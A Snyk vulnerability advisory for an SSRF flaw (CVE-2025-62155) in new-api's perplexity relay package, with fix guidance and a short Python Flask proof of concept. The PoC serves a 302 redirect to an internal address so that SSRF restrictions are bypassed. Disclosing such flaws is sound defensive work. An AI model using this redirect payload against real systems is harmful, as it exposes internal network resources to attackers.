Server-side Request Forgery (SSRF) Affecting github.com/quantumnous/new-api/relay/channel/perplexity package, versions <0.9.6-patch.1
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsSnyk Learn
Learn about Server-side Request Forgery (SSRF) vulnerabilities in an interactive lesson.
Start learning- Snyk IDSNYK-GOLANG-GITHUBCOMQUANTUMNOUSNEWAPIRELAYCHANNELPERPLEXITY-14107162
- published25 Nov 2025
- disclosed25 Nov 2025
- credith3rrr
Introduced: 25 Nov 2025
NewCVE-2025-62155 Â (opens in a new tab)How to fix?
Upgrade github.com/QuantumNous/new-api/relay/channel/perplexity to version 0.9.6-patch.1 or higher.
Overview
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the bypass method. An attacker can access internal network resources by leveraging a 302 redirect to bypass existing security restrictions.
PoC
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/redirect')
def ssrf_redirect():
return redirect('http://127.0.0.1:8003/uid.txt', code=302)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)